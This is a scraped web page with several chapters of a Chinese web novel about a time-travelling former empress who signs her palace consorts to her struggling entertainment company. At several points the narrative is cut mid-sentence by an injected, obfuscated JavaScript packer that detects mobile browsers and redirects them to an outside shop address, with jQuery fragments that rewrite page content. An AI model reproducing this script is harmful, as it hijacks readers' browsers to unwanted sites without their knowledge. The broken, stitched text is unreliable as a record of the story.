程青厌本是睡得很死的人，在古代经历过无数次暗杀睡眠变浅许多，一点风吹草动就能让她睁眼。 她听到房间里的脚步声。 她保持着睡姿不动，眼皮撩起一条缝。 夜空中的星星很亮，程青厌隐约看到两个又高又瘦的男人。 她下意识去摸一直藏在枕下的短匕，却只摸到一片柔软的被褥。 程青厌这才恍然，此时已经是现代，再没有什么刺客了。 她抬手打开夜灯，暗紫的灯光照出两个男人的脸。 他们一左一右，隔得很远。 右边的男人穿着一席花纹繁复精致的红衣，一张脸张扬侬丽到极致，浑身散发着骄横的气质，令人望而生畏。 左边的则有一双小狗般的眼睛，乌黑的瞳仁清晰可见，每一分嘴角的弧度都显出少年的清澈。 两人明显神色茫然，却在看清她的瞬间亮了眼睛，齐声道： “臣江执。” “臣戚弥玉。” “——参见陛下！” 程青厌：“……” 她掀开被子跑下床把他们俩扶起来，食指竖在唇间：“嘘！小点声。” 凌晨五点。孤男寡女……两男寡女。卧室。 这要是被人发现了，不想歪真的很难！ * 程嘉禾的房间和姐姐离得很近，他抢一款游戏的内测名额，五点准时睁眼。 不过这么晚了，姐姐的房间怎么还有响动？ 他想起白天程青厌的异常表现，放下手机站在她门前。 里面似乎真的有小声说话的声音，难道是姐姐在低声啜泣？ 程嘉禾敲了敲门。 门很快就开了，只是场景跟他想象中的很不一样。 他竟然看到了一个男人！ 程嘉禾赶紧关上门，重新确认这究竟是不是自己家。 门把上挂着姐姐喜欢的挂链，按理说应该没错。 他重新敲了敲门，这次开门的已经不是一个男人了，而是两个。 程嘉禾瞪大眼睛，拨开两人看到被他们挡住的程青厌，见几人都衣着完整，这才松了口气。 程嘉禾：“姐，爸说你受了情伤。” 程青厌：“然后呢？” 程嘉禾：“原来你受情伤之后，我的姐夫就会从一个变成两个。” 4. 第4章 四人围在一张小桌前。 程青厌报出筹码：“两台绝版电竞手柄。” 程嘉禾：“我还想要双去年就绝版了的球鞋。” “一台绝版电竞手柄。” “成交，成交！不能再少了！”程嘉禾急了，“我绝不会把这件事说出去的。” 毕竟姐姐受了情伤，换一个……两个姐夫也不算什么大事吧？ 而且他两个新姐夫还真是跟前姐夫不相上下的帅气。 “你去看看连姨有没有醒，如果醒了，请她过来一下。” 程嘉禾被美滋滋地打发走，不一会连嬷嬷就进了房间，见到江执与戚弥玉，并不很惊讶，行礼道：“参见江贵君、戚侍君。” 对于这位在陛下身边伺候的嬷嬷，两人从不会怠慢。 戚弥玉嘴边扬起一抹笑：“连嬷嬷，原来你也在，太好了。我还担心陛下身边无人照顾。” 一向倨傲的江执也喊了声：“嬷嬷。” 程青厌却觉得头痛：“这些规矩全都免了。你们也是跟连嬷嬷一样，忽然间听到声音问是否要来到我身边吗？” 江执：“臣睡梦中听到类似的问题，自然是要陪伴陛下，下一瞬便到这来了。” 戚弥玉点头称跟他一样。 “我驾崩后已经为你们找好了出路。新皇会好好养着你们，如果想要出宫，凭借你们的才华本事也能有一番作为。没必要为了见我一面到这种完全不熟悉的地方来。” “陛下当然比那些东西重要多了。”江执拧眉，完全不同意她的话。 戚弥玉轻轻垂眸：“有陛下在的地方，才是臣熟悉的地方。” 程青厌哪怕有些无奈，听了这些话也没法再说什么，只能将给连嬷嬷说过的介绍再讲一遍，让他们对现代社会有个初步认知。 谁料其他东西他们都“嗯嗯”的听着，她说完这个世界人人平等以后，江执问的不是她还能不能当皇帝，而是：“那陛下岂不是不能有后宫了？” 程青厌双手交叉比了个大大的叉：“你别想这个了，不可以的！我们这里是一夫一妻制。” 而且更重要的是，她现在也完全没钱能养他们，让他们过上衣食无忧每天清闲自在的生活。 戚弥玉没有开口，眼眸一直低着，摩挲着价值几十万的茶壶，不知在想什么。 程青厌注意到，问：“弥玉，你有什么要问的吗？” 戚弥玉的眼里似有一汪清泉，语气不疾不徐：“我只是在想，以往我们拿的是陛下的俸禄，现在陛下不需要我们侍奉了，该如何为陛下分忧呢？” “你们不需要为我分什么忧。你们远离故土来到这里，是我应该照顾好你们。”程青厌若有所思，“但你们该找一份工作，自食其力体验新人生也是很有意思的事。” “找什么工作呢？”江执问。 “我在这里的工作是经营一家公司，等会带你们一起去看看，认识一下现代的各种东西。至于工作，你们可以慢慢挑，找到自己喜欢的就好了。” 对待他们的工作，程青厌心中有隐忧。许多现代人们的常识他们完全不了解，最重要的是，他们没有学历，甚至没有户口，很难找到地方敢用。 但两人初来乍到，她并不准备说出这些来增添烦恼。 连嬷嬷比两人早来一天，还看过了电视，了解得更多，解释道：“陛下的公司是靠娱乐别人赚钱的，相当于给人演戏的，陛下就是戏班子的班主。” 程青厌：这个形容怎么哪里怪怪的，仔细一想好像还真是。 她这么一说，江执和戚弥玉很容易就理解了。 江执立马道：“那我要成为陛下戏班子里的一员。” 戚弥玉也点点头，显然是抱着同样的想法。 程青厌却没有立刻答应：“你们现在对娱乐圈没有多少了解，等清楚这份工作究竟是要做什么以后，如果还坚定想法，我当然欢迎你们的到来。” 事实上，从各种角度来说，把后宫塞到她的公司里是最好的办法。 公司老板就是她，不会让别人发现什么端倪，加上他们如果能火起来，不但身为老板的她能更快达到目标，他们也可以恢复以前那种受人追捧的日子。 只是程青厌担心他们在不了解的情况，为了帮她的忙贸然进入娱乐圈，后续如果不适应的话，就是她乘人之危了。 哪怕她急于赚钱摆脱现在的局面，这样的事也做不出来。 程青厌站起身：“我们现在就走。” 天蒙蒙亮就出去工作，被任何一个现代人看到了都要说剥削劳动力的黑心资本家。 几个古人适应良好，戚弥玉唇角弯弯：“陛下勤勉，和以往上早朝的时间差不多，这次我还可以跟着陛下了。” 程青厌不是很想接下这份对她勤劳的夸奖。 早八已经是她最后的倔强。早五实在是有点太早了，如果不是当女帝时睡得也早，天天早朝她撑不到回来的那天就得猝死。 要不是担心父亲醒来后发现异常，自己很难解释为什么家里会一晚上多出两个活的男性人类，她一定要多睡一会。 程青厌带着三个古人悄悄溜出了别墅，打车去市中心琦季所在的办公楼。 瑞铭一开始是有心要踏足文娱产业的，不然也不会将琦季安排在这么好的地段。可惜经营方向不对，市场预测不准，大笔的投入都打了水漂，主公司不愿再往里面砸钱，原本三层的写字楼只占了一层，艺人和员工大幅解约跑路。 如果不是程青厌忽然接手，琦季可能这个月就会倒闭。 时间太早，高耸入云的写字楼只偶尔有几缕灯光，照亮还在加班的互联网大厂员工。 路上偶然路过的人，竟然都在用相机对着他们几个拍。 程青厌自知出名，出行时口罩帽子一个没少，没想到还有这么多人关注。 难道她的知名度已经到家喻户晓的地步了？ 趁着人少，程青厌任后宫们提问题，给他们演示了无数个写字楼出现的高科技产品，才乘电梯去了属于琦季的第十二层。 她给他们放了一部纪录片，讲得就是演艺行业的工作过程。 江执是最爱出风头的，得知拍戏就能让自己的影像被无数人看到，当场兴奋起来：“他们能看到我表演，实在是他们的荣幸。” 程青厌问：“你的演技好吗？” 戚弥玉替他道：“他的演技一向很好，我见过许多次。” 程青厌为后宫团的和谐有爱感到高兴，道：“我记得阿执以前没演过戏，难道是天赋吗？” 戚弥玉笑了笑：“应该是天赋异禀。毕竟江贵君对后宫内其他侍君一向阴晴难辨，见了陛下却能瞬间露出笑颜。” 江执眼神立刻横过去，想到陛下就在这里，如果发脾气岂不是正好应了戚弥玉的话？ 他硬生生忍住了，露出一个怒气满满的笑容。 程青厌：“……” 程青厌：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396415|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没关系，有演技是件好事……起码在这里是件好事。” 江执不想再说话，不知道跟谁较劲，全程保持着微笑看完了两个多小时的纪录片。 “公司怎么来了这么多人？” 大门再次被打开，走进一个女人。 女人看到程青厌，就像饿狼看到羊一样，一个箭步冲了过来：“这不是程青厌吗？我昨天听说你要退出娱乐圈，这会忽然来我们琦季公司，是不是有意在这里重新出道……等等，你是怎么进来的，我们公司还有别的成员给你开门吗？” “有。”程青厌点点头，“我就是别的员工。” 她伸出手：“认识一下，我是程青厌，琦季的总裁。你的老板。” 女人也不是个职场新人了，哪怕觉得程青厌作为黑红女星加入琦季比用老板的身份加入对公司有利得多，但顶头上司可是要发工资的。 她赶紧笑道：“程总，欢迎您的到来。我是咱们公司的经纪人陶露，负责直接对接艺人。” 江执在远处围观，低声吐槽：“这演技比我差远了。” “艺人呢？”程青厌问。 “我是这个月才入职的，来的时候只剩下一个艺人了。” 程青厌见她说话吞吞吐吐，微微皱眉：“没事，我知道公司没几个人了。那个艺人的情况你说一下，等她来公司了我见见她。” 陶露发现瞒不过去，实话实说：“程总，那个艺人昨天解约了。她说实在接不到项目赚不着钱，回老家考公去了。” 程青厌：“……” 她知道公司人少，可没想到已经少到一个艺人都没有的程度了。 她问：“别人都走了，你怎么还没有跳槽？” 陶露搬出每个社畜被老板问到“为什么来我们公司”类似问题的标准答案： “我对咱们公司的理念很看好，并且热爱经纪人这份工作……” 她对公司给她开出的薪资很看好，并且热爱赚钱。 最重要的是，她在这干了半个多月，钱都没到手，现在走了岂不白干？ 程青厌当然不至于相信这套说辞。 打工人不不为了工资还能为了什么，总不会是因为热爱吧？ 看老板得知公司状况这么差，脸色都没什么变化，陶露暗暗感叹一声，真是眼瞎啊。 据她猜测，程青厌这种二三线明星，几个月干下来上千万是有的，怎么非就来她们这种小作坊公司了？ 要是大家都跟程青厌一样眼瞎该有多好，她也不至于天天在网上私信各种帅哥美女，问他们琦季公司要不要了解一下。 了解完了得到的就是他们大同小异的沉默。 陶露视力不好，远处两个看电视的男人她看不清楚，问道：“程总，那两位是？” “是我两个朋友。”程青厌走过去，“他们想了解一下娱乐公司这方面，麻烦你给他们详细介绍一下。如果合适的话，会签入我们公司。” 陶露没说话。 不是不愿意介绍，而是看得呆了，不知道该说什么。 她是经纪人，娱乐圈的明星们不知道见过多少。 可从来没见过哪个素人，能让人看上一眼就失语。 天生的明星。不在摄像头前完全是对张脸的巨大浪费。 这种百万人里都出不了一个的男人，现在竟然跟她说要了解她们娱乐公司，而且一来还来两个！ 她真的，见过眼瞎的，没见过这么眼瞎的！ 5. 第5章 程青厌留在办公室查看公司报表，江、戚二人被陶露拉去小会议室详进行细介绍。 她讲清楚了明星的各种类别，需要做什么，能获得什么，以及要承担的责任和风险。 长篇大论说完，她问：“你们还有什么不清楚的吗？” 江执：“没了。赶快签约吧。” 这人根本就没有认真听吧！ 一直时不时回头看一眼外面，只有在她提到程青厌的时候才会竖起耳朵，没提就神游天外。 不如戚弥玉，全程都专注地聆听。他有一双极为清亮的眸子，陶露偶尔与他对视一眼，如同青玉一般，光华而不灼眼。 而一直都很专注的戚弥玉问了一个她觉得根本不重要的问题：“是不是只有签在琦季，就能经常见到陛下？” “陛下是哪位？”陶露看到两人的眼神都向外看去，才恍然大悟，“你们是说程总？陛下……璧夏？这是她的小名吗？你们签在琦季就是公司的艺人了，跟老板当然能经常见面。” 但这个问题有必要问吗？他们总不可能是为了和程青厌见面才来签约的吧？ 陶露不愿深想，在“把这么有潜力的帅哥拉来小作坊公司会不会耽误他们前程”和“赶紧签约她下个月还能多拿提成”之间犹豫了一会，道：“如果没什么问题，那我们就签约了？” 两个人没意见。 “我给你们看下合同，”陶露拿出两张行业规范合同，先介绍每个想要进入娱乐圈的人最关心的，“你们能拿到酬金的百分之六十五。” 江执问：“你的意思是，这个俸禄……钱是直接给我们？” “对啊。你们肯定成年了吧，没有监护人，肯定是直接到你们卡里。” “监护人是什么？” “监护人一般来说是你们的父母。不过也有特殊情况的，照顾、教育、给你们发钱的那个就是监护人。” 陶露逐渐察觉到不对劲，这两人一身古装也就算了，可能是古装爱好者。可怎么话语中怎么像是第一次接触这个世界？ 就好像是……从哪个山沟沟里出来的。 江执和戚弥玉看向正在翻阅合同的程青厌：“她就是监护人。” 程青厌：“？” 她什么时候多了两个儿子？ “陛下照料、管教我们，并且每月给我们发钱，难道不是我们的监护人？” 江执说得自然，完全没发现陶露眼神明显变得恐惧。 陶露开始一一对应起前两天看到的反传销宣传片。 极度信任的盲目崇拜。 老板亲自带来的人行为古怪。 完了，新老板不会是要把琦季做成什么传销公司吧！ 陶露下意识就想跑路，这地方真的不能在待下去了，桩桩件件都透着奇怪的气息。 陶露有点玄学在身上，她好像天克老板，去哪家公司，哪家不出半年就得倒闭。 在经历过老板带着小姨子跑路、会计顶账坐牢、公司明星接连塌房……等等搞垮了无数个娱乐公司后，陶露发誓，如果这次选的公司再出什么事，她这辈子就不当经纪人来祸害娱乐业了。 没想到这次不是她克老板，是老板克她！ 她一咬牙，决定哪怕真的有问题，自己在这死撑也得再撑一个星期。 这个月工资可是两万啊！ “如果确定要签的话，”程青厌翻出了毛笔递给他们，“合同我看了一遍，对双方都很公平，接活动也都是以你们的意愿为主。” 程青厌扫了眼陶露，对他们说：“酬金你们自己拿着，知道你们跟我关系好，不用担心我会亏，公司肯定不会做亏本生意的。” 陶露那点心思，在当女帝跟无数老狐狸对过招的程青厌面前一览无余。 古人和现代人的区别肯定没法完全掩盖过去，正常人也不会往那方面想，她只需要找补一下，不要让人太过怀疑就好。 陶露暗暗松了口气，去看戚弥玉签的字，夸奖道：“这字真好看。现在的人用钢笔能写好字的都少，没想到你用毛笔竟然能写得这么好。” 再看江执，陶露以为是吊儿郎当的类型，不料毛笔字也写得很好。只是戚弥玉圆融秀丽的行楷，江执的字则龙飞凤舞，看着就透出一股不羁之感。 戚弥玉嘴角微弯，带点少年的青涩。 他每提下一笔，都会想起第一次入宫的那个寒冬。 戚弥玉是戚家的第十七个孩子，生母只是一个奴婢，生下他没多久就去世了。 一个奴婢的消失就如同一滴雨打进海浪里，引不起任何波澜。 他三岁前没见过父亲，一直是奶娘照料，直到他问奶娘：“别人都有名字，我为什么没有呢？” 奶娘这才去请示老爷他的名字。 “啧，麻烦。”老爷正在吃鱼，随口道，“就叫戚鱼吧。” 不论是根据正在吃的鱼取的名，还是“余”寓意“多余”，都十足地敷衍。 他从来没有一次喊过自己这个名字，除了选秀那天在大殿上，陛下让他抬头，问：“你的名字是什么？你父亲竟跟我说记不清了，真是糊涂。” 不会叫的孩子是不会有人注意的，那时才十七岁的他已经深深将这句话刻在心里。 他明明有名字，却说：“臣没有大名，请陛下赐名。” “君子如玉，藏器于心。你便叫弥玉吧。” 他从来不知道，原来他的存在不是一句“多余”就可以概括。 原来他能当得起这样的评价。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396416|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这个名字听起来也很有寓意，”陶露好奇道，“弥玉，是谁给你起的？” “监护人。” * “裴哥，青厌竟然退圈了？她怎么说的？” 裴云晋一打完电话，身边的朋友尹松便表情夸张的问。 “她可能心情不太好。”裴云晋眉间笼着一点烦躁，“我得早点回去。” 尹松说是他的朋友，其实他习惯与所有人保持距离，很多话不会吐露。 尹松好笑道：“青厌还会跟你发脾气？估计是撒娇吧，你也真的是，三个月在国外搞新项目，平时连个视频都不打，这换了哪个女人能忍？” “她从来没说过要打。” “她不说你就真不打啊。”尹松啧啧称奇，“成天一堆女生围着我打听你喜好，她们要是知道你这种德性，估计全跑光了，也就青厌能受得了。” 裴云晋眉头拧得更深了：“我说了，青厌根本不在乎这些。” “得了，你还是赶紧回去哄人吧。不过青厌嘛，你哄个几句就不会生气了。如果我女朋友也有她那么懂事就好了，我要是敢疏忽她这么久，早就被踹了。”尹松故作痛苦地扶额。 裴云晋不在乎他和女朋友的事，目光在手机屏幕上凝了两秒。 他和程青厌的聊天框大部分都是她在发消息，总是些“日落好美”“今天喝了新品奶茶”之类的琐事，他很少回复。 不知道该怎么回，他曾经在青厌分享一家奶茶店后把那家店买下来，青厌看起来也不怎么高兴。 尹松刷着热搜，叫起来：“我说青厌怎么生气了，你跟别的女人的绯闻都搞到热搜上去了。‘当红小花莫贝贝暗示与兴茂总裁关系非凡，程青厌退圈或是兴茂总裁背后施压’，你完了！” “莫贝贝，谁？” “你不知道？！”尹松点开照片，“看看，你去探班莫贝贝的照片都被拍到了。” “这是花云衣剧组，我是去探班青厌的。”裴云晋一字一句地说，“只是她当时不在。” “那个时候青厌跟莫贝贝争这个角色，两家粉丝吵得天翻地覆的。你去的时候都没给青厌打个电话？” 裴云晋摇头：“不需要打。她在我就去见她，她不在我就把给她送的东西留下，叫剧组里的人照顾好她。” 尹松长叹一声：“好好的一个人，怎么偏偏就没长嘴。” 裴云晋不屑跟其他人说那么多，他只做自己认为该做的。 他并不对再对尹松解释，道：“把你方案拿出来，开会。” 没等裴云晋走进会议室，手机响了起来：“父亲，有什么事？” 裴父的声音威严中带着怒气：“程晖到家里来说要退婚了，你最近到底做了什么！” 6. 第6章 程青厌看着他们签了最基础的合同，在陶露提出要录入身份证明时截断了话头，转移话题道：“陶姐，公司里现在还有什么项目正在接洽？” “有是有，但是……”陶露对唯一的项目一言难尽，干脆打开项目文件让她自己看，“这剧本实在是没人看好。不然我之前手下唯一的艺人也不会宁愿回老家考公也不想继续耽误下去了。” 剧名叫做心动不自知，是一部豪门校园片。 程青厌在古代看奏折看得昏天黑地，阅读速度早练出来了，大致扫完故事梗概后，疑惑道：“这个项目真的没人看好吗？” 江执虽然没学过简体字，但勉强也能辨认出来：“女主角齐念家境贫寒，成绩优异，被选去贵族高中上学。因为得到了男主角林北意的一次关照，被心思恶毒的女二号顾溪排挤孤立。齐念的自强不息渐渐地吸引了顾溪哥哥顾越的爱慕，他的默默守护令齐念少受了许多欺负。齐念小时候就被林北意救过一次，一直爱慕他。林北意也对齐念十分特殊，令与林北意有婚约的顾溪更加嫉妒。就在顾溪要派人对齐念做出不可挽回的伤害时，顾越突然发现……发现齐念竟然是自己的亲妹妹，顾家的真千金！” 这信息量大的让令见惯了权谋斗争的江执都缓了一会才消化掉。 趁他脑中把一大堆人物连接的时间，戚弥玉继续念道：“齐念在巨变中迎来了新父母，却发现父母对自己并不满意，假千金也一直留在家中挤兑她。最重要的是，她发现一直暗恋的林北意对她的关照只是因为自己像林北意的初恋，被林北意当成替身。” 江执和戚弥玉脑子里浮现出刚刚才学会的符号：“？” 如果再过几年，他们就会明白这种类型叫做—— 狗血爱情豪门校园真假千金白月光替身追妻火葬场虐恋。 “这是在干什么？”江执难以置信，“这女主角，惨出一种新高度了。” 陶露也难以按捺住吐槽的心：“就是的啊，现在的影视市场，哪个不是把一样元素做到极致才红的。爱情片是感情细腻到极致，战争片就是各种大场面做得好。这个剧本元素太多，观众不知道该看什么，结果就是什么受众也吸引不到的。” “不。我看这个剧本也做到了极致，”程青厌注视着电脑，“狗血到极致。” 程青厌在古代现代都待过，王公贵族和底层平民都接触过，发现无论是什么性格什么身份，爱八卦的共同点绝不会变。这复杂离奇到随便抽出一条线就能唠很久的剧本，竟然没人看好？ 剧本梗概没那么长，程青厌问他们：“知道女主角被当成替身，你们想不想知道她接下来怎么应对，是抽身走人还是要感化男主？男主的初恋到底是谁，男主后来会不会爱上女主，爱上女主之后得知女主知道自己把她当替身又会怎么做？” 几人被问得一愣，齐齐点头。 就连对这部片子最不看好的陶露都说：“很想看到女主角反击。这么好的女孩子，被这一家人糟蹋成这样，一定要让这家人好好遭到报应才好。” 话一说完，陶露自己都是恍然大悟，却还有几分纠结：“可是我就怕前期把大家气着了，后面没人看了。就算有人，那口碑也必定很差……” 陶露所说的是目前最主流的想法，影视剧要传播真善美，剧情和人设要黑白分明，主角团要光伟正，反派团只能坏得让人恨不得打入十八层地狱，最终结局也是千篇一律的男女主幸福生活在一起，反派痛哭流涕忏悔。 但程青厌根本不在乎这些，当过皇帝的人实在比普通人的眼界要高出太多，主流的想法是挑不出什么毛病，但主流的影视剧不一定是大家想看的影视剧。 她想要让公司活下去，就不会管观众看完电视是满怀希望觉得人间美好，还是想冲进电视里让主角清醒一点。 “这部片子让阿执去演。”她做决策时的气度令见过许多大程总的陶露都不由得感到不容置疑的坚定，“陶姐，片酬方面，剧组是怎么说的？” “剧组现在男女主和女二都缺，基本上是来者不拒了，有小江去他们高兴还来不及呢。不过组里没钱，说是最高只能给二十万。” 陶露见程青厌不语，道：“程总再考虑下也好，毕竟小江真的很有潜力，拍这种片子出道，我怕会被人诟病。” 程青厌摇摇头：“我是在考虑，要是能把女主女二一起塞进去就好了。” 戚弥玉触碰到她若有所思的视线，往后退了一步：“陛下，我从未扮过女子……” 程青厌赶走心中无所不用其极的念头，和善地说：“你误会了，我怎么会有这种想法呢？” 戚弥玉：“……我信陛下。” 陶露道：“剧组的总导演严志明跟我约好了九点在公司见面，原本我是想跟他解释我们这没法派人。如果程总确定要让小江接，等会就可以直接谈了。” 陶露习惯看人捧三分，严志明哪里算得上什么“总导演”，听着好像手下还有好几个副导，实际上剧组已经缺人缺得编剧都得由这个总导演来兼任了。 “严导以前拍过什么片子吗？”程青厌问。 “拍过六七部片子，全都是网剧。” 程青厌翻看了一些他网剧的片段，大体有了了解。 市场上主打的甜宠剧，热血剧，在观念上永远挑不出错来的，哪怕已经有许多观众在吐槽不接地气，情节单一重复，感情来得莫名其妙，但收视率王座上一直都是这种电视。 至于严志明这个人，是个偏才。那些对大导演夸奖的世界观宏大、主题引人深思之类的词完全用不到他身上，或许是因为底层出身，他很喜欢将一件小事放大，导致片子里冲突打闹不断，唯独可以称道的就是人物性格明显，还能在各种剧情矛盾中不断丰满角色，哪怕配角都个个有血有肉跟活人一样。 总是与主流相悖，他拍过爆款，更多的是糊到谁都不知道的片子，四十多岁的人了依然不得志。 江执跟着她一起看：“这些人吵得我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396417|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头疼，生活中哪有这样的人？” “你不见过不能代表没有。”程青厌笑笑，“你听他们这么吵闹，刚才他们在做什么你记住了吗？” “想忘都忘不掉。” 她说，“那就好。别担心了，你要演的片子只会比这部更吵。” 江执：“……” 江执：“更担心了。” 严志明比约定的时间提前了几十分钟到，胡子拉碴，领口翻出来了也没在意。 程青厌偷偷问陶露：“他是想学大导演们不修边幅的范儿吗？” “应该不是，”陶露和这人打过几次交道，“可能是因为一天凑不齐演员，剧组就一天在片场烧钱，他来不及注意外表了。” 程青厌上前握手：“严导你好，我是……” “我知道我知道，你就是陶露说的公司里唯一的艺人。果然跟她说的一样，很漂亮，当我们的女主角太合适了！”严志明一眼就相中了，仔细打量过后又觉得不对，“你长得怎么跟照片里有点区别呢？” 是比陶露发给他的照片好看许多没错，但怎么两模两样的呢？ 陶露连忙道：“严导，这是我们琦季的程青厌程总。之前我跟你说的那个小姑娘已经不当明星了，女主演实在是没办法跟你见面。但男主角这还是有的，你看看？” 严志明反应过来后感到深深地可惜。 条件这么好，怎么偏偏是老板呢？ 他真的是不挑，甚至为了找演员都去网红公司看过。不拘什么演技、气质，偶像剧唯一需要的脸总不能少，可惜长得好看的哪里看得上他，这才一直拖着没找着。 程青厌将江执拉到身边：“严导，江执是我们公司新签的艺人，演技高超。” 严志明一看到江执便笑得跟朵花一样：“好，很好！这脸、这身高、这又高傲又欠打的气势，很符合我们的男主角！” 至于什么演技高超，直接被严志明忽略掉了。 基本上每个演员来到跟前都说自己演技好，一半是知道自己演技不好硬着头皮说的，一半是真觉得自己演技挺好一试镜就尴尬了的。 他对此早习以为常，对演员们的演技要求是个情感正常的人类就够了。 这小演员有这样的容貌和气度，演技还有什么重要的？他最会的就是把一个个面瘫脸的形象弱化，让观众只注意剧情的冲突别去看演技。 “很符合主角”，这话从严志明嘴里说出来跟话术似的，令程青厌无奈笑笑。 合同很快就谈了下来，以严志明饥不择食的状态，能遇到江执已经是喜出望外，根本不敢提什么要求，只希望他能尽快进组。 签字之前，程青厌道：“严导，我想先提一个要求，如果人选定下来了，不如把剧名也换一下。” “换成什么？心动不自知这个名字是之前投资商定的，大伙都说很文艺，能把一些爱看小清新的观众骗来。” “真千金归来：退亲未婚夫后悔莫及。” 7. 第7章 严志明：“？” 严志明：“这剧名……会不会太露骨太直白了，观众一眼就大概知道要讲什么了？” “既然是给观众看的东西，我们不要骗人。把不属于这部片子的群体吸引来了，她们看了个开头就走了，有什么意义？要的就是直白的名字，能够快速筛选受众。”程青厌道，“那些大制作大宣传的电视，当然可以取些高端大气的名字，但剧组缺知名度，观众怎么从一堆看不懂的名字中选中我们？” 严志明沉思片刻，一咬牙：“那就听你的，反正原本取名的投资商都撤资了，改个名正好去去晦气。” 签完合同，程青厌跟他说江执在今天以前是纯粹的素人，别说拍戏，连视频和自拍都没拍过，虽然演技好但可能会在镜头前紧张，还希望导演多带一带。 这么一番话下来，严志明对他的演技更是没有报任何期待。 严志明露出“懂的都懂”的表情：“程总放心，我会好好教的。” 江执哪里是能接受别人指挥的人，眼睛一抬正要开口，程青厌轻轻拍了下他的肩：“要好好听导演的话，知不知道？” 他抿了抿嘴：“知道了，陛下。” 严志明悄悄松了口气。 他一见到江执，心中虽想这跟林北意的人设也太像了，目中无人嚣张跋扈，气场震得他都有点不敢多说。 没想到还是挺听话的。 “还有一位是？”严志明对着戚弥玉问。 程青厌介绍一下，严志明的眼珠子就转了起来：“两位既然都是新入圈的，不如一起跟我去剧组转一圈，实地了解一下拍戏的情况？” 江执是张扬如火，戚弥玉则是清润如玉。 他要是能把这两人一起带走…… 严志明算盘打得程青厌不用看都听得见。她不准备将两人都放进剧组里，一是因为剧本里并没有合适的角色适合戚弥玉，二是她要拓展更多娱乐经济发展的空间，不止局限于唱歌和拍戏这两种。 但让他们去多接触一下拍戏总没坏处，程青厌问清两个人的意愿，便放他们走了。 “多谢陛下……”严志明听他们一直陛下陛下的，自己都被带歪了，赶忙改口，“程总！” 陛下还有很多事要做。 公司残留下来的事物不算多，比起以往她日日处理全国大事要简单太多，但她现在没了宫人帮忙处理生活中的事物，什么事都得亲力亲为。 比如找房子。 按理说程青厌可以睡在自家别墅里，但她已经说要独立，这一年内不再依靠父亲。如果居住地还要靠父亲提供，实在有些打自己的脸。 更重要的是，她不确定自己的后宫们会在什么时候，降临在什么地点。 如果只有连嬷嬷和江、戚三人，她找个理由把他们安置好就行了，可要再不断的出现新人，将会越来越难糊弄过去。 她必须得自己找到合适的房子，能不被发现端倪地将这些愿意舍命追随自己的人安稳下来。 剧组给了二十万，另外二十万在杀青后结账。 她正在搜索租房行情，被陶露一声惊呼引了过去。 “程总，你快看，这是不是小戚啊！” 程青厌凑过去，视频配的标题#凌晨五点CBD发现的路人小哥哥，感觉好像国际大明星#，陪着一段叱咤风云的bgm，视频降速令戚弥玉仿佛踩点从路的尽头走出，目光温凉，身材高挑，宽肩窄腰，最后不知他听到了什么，嘴角含笑，轻轻一点下巴。 不知情的说这是哪个大明星走秀归来也会有无数人相信。 程青厌表示震惊。 她在古代身边俊男美女太多，忽然回到现代忘了自己习以为常的人对于普通网友们来说就跟仙子一样。 她以为来公司的路上，路人们是在拍自己。 没想到是在拍没有遮住脸的戚弥玉！ 视频一发出来就反响无数，目前播放量破了百万，评论过万都在问这到底是谁。 难道还有神通广大的网友们都没发现的明星？ 几个小时过去了，还真没有任何一个人能说出视频里的人究竟是谁。 “程总，这个该怎么处理？” 陶露以前待的公司，遇到这种曝光公司还没推出的艺人，都是要联系曝光者删除，免得打乱公司计划。 陶露为难地说：“怪我，要是早一点发现就好了，现在视频已经流传开了……” 程青厌扣了扣桌面，一个计划已然成型。 “将公司全部的资金都拿出来，给这个视频以及拍到戚弥玉的其他视频买头条位置。” “啊？”陶露一愣，“这样会不会不太好，他们会说我们那个什么……营销过头。” 程青厌学的是商业管理，营销课也上过不少。 现在还没有“黑红”这个概念，但程青厌从当女帝的经验中得知，要做好一件事，是不需要让所有人满意的。 她提高农民的待遇，就有地主不满意。加大扶持寒门，就有世家抗议。 可那又怎么样？她依旧打造出一个盛世。 过度营销的案例她见过许多，却坚定认为网友反对的不是营销，是虚假营销。 把一坨观众不喜欢的东西送到面前，哪怕用金子裹了，也未必有效。 “去做吧，记得反馈效果。” 程青厌自己盯着评论，一条条看过去。 【这个小哥哥还是古装！长发太好看了，好喜欢好喜欢。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 